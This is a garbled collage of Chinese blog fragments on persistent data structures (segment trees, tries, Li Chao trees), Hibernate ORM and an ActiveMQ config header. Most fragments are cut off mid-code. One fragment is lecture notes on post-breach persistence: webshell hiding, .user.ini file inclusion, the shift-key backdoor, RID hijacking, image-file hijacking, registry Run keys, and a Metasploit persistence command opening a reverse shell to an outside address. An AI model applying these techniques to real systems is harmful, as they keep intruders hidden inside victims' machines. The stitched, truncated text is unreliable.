持久化

静态序列查区间第k大 int update(int x,int l,int r,int k){ int rt=++cnt; sum[rt]=sum[x]+1; L[rt]=L[x]; R[rt]=R[x]; if(l<r){ if(k<=mid){ L[rt]=update(L[rt],l,mid,k); }else{ R[rt]=update(R[rt],mid+1,r,k); } } return rt; } int query(int xl,int xr,int l,int r,int k){ if(l==r)return l; int x=sum[L[xr]]-sum[L[xl]]; if(x>=k){ return query(L[xl],L[xr],l,mid,k); }else{ return query(R[xl],R[xr],mid+1,r,k-x); } } 可持久化字典树 struct trie{ int ch[2],siz,id; }t[50000010]; void insert(int &now,int pre,int bit,long long val){ now=++cnt; t[now]=t[pre]; t[now].siz++; if(bit==-1){ return; } int i=(val>>bit)&1; insert(t[now].ch

特点 老师说，可持久化线段树一个重要的特点就是，它的询问都是单点询问... 先记这....等我做多了题目之后再补充 李超线段树 用于维护若干个一次函数的最值 核心思想就是标记永久化， 线段树每个节点维护在该区间中点取值最大的线段，查询时求一条从上到下的链上log个线段的最值。 ————一位大佬FlashHu 例题 P4097 [HEOI2013]Segment 思路： 一个区间只有在绝对不可能是答案的时候才更新，否则就把原来的/插入的的区间往下递归，插入的/原来的区间就放在当前区间，这样，我们只要把合适的区间往下递归，合适的区间留下，那么对于当前区间，无论是左边还是右边，我们都能求出最优解 #include<cstdio> #include<algorithm> using namespace std; const int MAX = 40000; int n, lastans, cnt; struct line{ double k, b; int id; line() {} line(int x1, int y1, int x2, int y2, int cnt) : id(cnt) { if(x1 == x2) k = 0, b = max(y1, y2); else k = (double)(y2-y1)/(x2-x1), b = (double)y1-k*x1; }

目录 前言 1 可持久化线段树 1.1 问题引入 1.2 权值线段树 1.3 可持久化线段树 1.4 例题 2 可持久化数组 2.1 问题引入 2.2 问题解决 2.3 参考代码 前言 这篇文章详细地介绍了可持久化线段树、可持久化数组和可持久化并查集，部分图片尺寸过大，建议单击图片放大观看。转载此文章的任何部分均需注明出处。 @ 1 可持久化线段树 1.1 问题引入 您需要写一个数据结构，维护一个数列 \(a[1...N]\) ，支持以下操作： 输入 l r k （ \(l\leq r,k\leq r-l+1\) ），求 \(a[l...r]\) 中第 \(k\) 小的数。 这就是经典的 “静态区间第 k 小” 问题。 可持久化线段树 （Persistent Segment Tree）可以很好地解决这个问题。在学习可持久化线段树时，我们首先要了解权值线段树。 1.2 权值线段树 权值线段树是一种维护值而非下标的线段树，为了方便理解，有时也被称作 “值域线段树”。 设 \(x\) 是一权值线段树上的一个点，它维护的区间是 \([x.l,x.r]\) ，数据是 \(x.d\) ，则它表示的意思是：原数组中，值在区间 \([x.l,x.r]\) 内的数一共有 \(x.d\) 个。 举个例子。有一个数组 \(a[]=\{1,5,3,8\}\) ，则它的权值线段树是

activemq.xml： ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------start <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the

之前讲了次课准备的，ppt就不放了，当时的思路搬运过来 --- 需要思考的几个问题 1 返回路径 (网络出口,网络之间) 2 部署方式及免杀 (个人电脑,服务器,杀软) 3 痕迹清理 web相关 1 webshell attrib +s +h test.php 隐藏test.php文件 attrib命令 用于修改文件属性 +s 设置系统文件属性 +h 设置隐藏属性 .user.ini auto_append_file = 1.gif user_ini.cache_ttl = 10 auto_append_file 包含要执行的文件 user_ini.cache_ttl 重新读取用户 INI 文件的间隔时间 2 代码修改 windows 1 程序替换 shift后门 替换不常用服务程序 对于开源软件,重新编译目标使用的程序,比如notepad++,mysql 程序内插入shellcode shellter 2 rid hijack(账户克隆) 3 注册表映像劫持 Gflags.exe 4 自启动 HKCU\Software\Microsoft\Windows\CurrentVersion\Run msf persistence run persistence -X -i 5 -p 4445 -r 1.1.1.1 缺点：容易被杀软发现 优点：种植容易 注册表路径: HKCU

给你一个数，在一段区间内找到另一个数，使得他们的异或最大； trie树上存储每个数的二进制位，查询时贪心查询能让当前高位取得1的位置； 实际上是一个求前缀和的思想。每个数都开一个trie树浪费空间，当前建树的时候基本是转移前面的树； 首先设当前二进制位为d,将前一棵树的d^1直接转移（因为以后也用不到这一半），然后再递归转移d 最后更新当前树的当前位置的树的大小。（方便以后查询）； 查询时，设给出的数当前位为d,我们要找到一个d^1的数才可以使得数更大，如果siz[r]-siz[l]>0说明存在这样的数，否则不存在； 字典树空间要开maxn*（最大二进制位数） #include<cstdio> #include<cstring> #include<algorithm> using namespace std; const int maxn=2e5+10; int n,q; int trie[maxn*32][2]; int root[maxn]; int cnt; int siz[maxn*32]; void pushup(int nw) { siz[nw]=siz[trie[nw][0]]+siz[trie[nw][1]]; } void insert(int pre,int &nw,int i,int x) { nw=++cnt; siz[nw]=siz[pre]; if(i

activemq.xml： ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------start <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the

1 struct node 2 { 3 int lc,rc; 4 int sum; 5 node() 6 { 7 lc=rc=sum=0; 8 } 9 }; 10 node tree[maxn*5]; 11 inline int build(int l,int r) 12 { 13 int k=++cnt; 14 if(l==r) 15 { 16 tree[k].sum=num[l]; 17 return k; 18 } 19 int mid=(l+r)>>1; 20 tree[k].lc=build(l,mid); tree[k].rc=build(mid+1,r); 21 tree[k].sum=tree[tree[k].lc].sum+tree[tree[k].rc].sum; 22 return k; 23 } 1 inline int modify(int rt,int l,int r,int p,int v) 2 { 3 int new_rt=++cnt; 4 tree[cnt]=tree[rt];//先把原信息复制上，再修改即可实现 5 if(l==r) 6 { 7 tree[new_rt].sum+=v; 8 return new_rt; 9 } 10 int mid=(l+r)>>1; 11 if(p<=mid) tree[new_rt].lc=modify

ORM框架？ Object Relational Mapping，对象-关系映射。 项目中的业务实体有两种表现形式：对象和关系数据，即在内存中表现为对象，在数据库中表现为关系数据。 为什么需要ORM框架？ ORM框架是对象关系映射，那为什么要映射mapping？ 因为对象之间可以存在关联和继承关系，但是在数据库中，关系数据无法表达多对多关联和继承关系。（ps：在数据库原理中，会把逻辑上的多对多转换为多个一对关系才能实现）因此，对象和关系（业务实体的两种表现形式）想要映射正确，项目系统一般以中间件的形式，即持久层框架。 Hibernate？ Hibernate是一个开源的对象关系映射框架。 它对jdbc进行了非常轻量级的对象封装，将pojo（普通的Java对象）与数据库表建立映射关系，是一个全自动的ORM框架，甚至自动生成SQL语句，自动执行。 因此，程序员可以随心所有地使用对象编程思维来操纵数据库。 Hibernate特点： Hibernate通过修改一个“持久化”对象的属性，从而修改数据库表中对应的记录数据 提供线程和进程两个级别的缓存提升应用程序性能 有丰富的映射方式将 Java对象之间的关系（POJO） 转换为 数据库表之间的关系 屏蔽不同数据库实现之间的差异。在Hibernate中只需通过“方言”的形式指定当前使用的数据库，就可以根据底层数据库的实际情况生成适合的SQL语句

完全等于可持久化动态开点线段树。 例题： Luogu P4735 最大异或和 建可持久化01Trie。 每次建一个新版本把序列的每个前缀和插进去。 添加操作亦如此。 查询的话就看每个数位取反的一侧在01Trie的这个区间内是否出现过（也就是 \(sum\) 是否相等），然后跳儿子。 #include < bits / stdc ++. h > using namespace std ; const int N = 3e7 ; int read (){ int x = 0 ; char c = getchar (); while (! isdigit ( c )) c = getchar (); while ( isdigit ( c )) x = x * 10 + c - 48 , c = getchar (); return x ;} int n , m , cnt , root [ N ], son [ N ][ 2 ], d [ 31 ], sum [ N ]; char s [ 3 ]; int Get (){ scanf ( "%s" , s ); return s [ 0 ]== 'A' ;} void split ( int p ) { int i , len = 0 ; for (; p ; d [++ len ]= p & 1 , p >>= 1 ); for (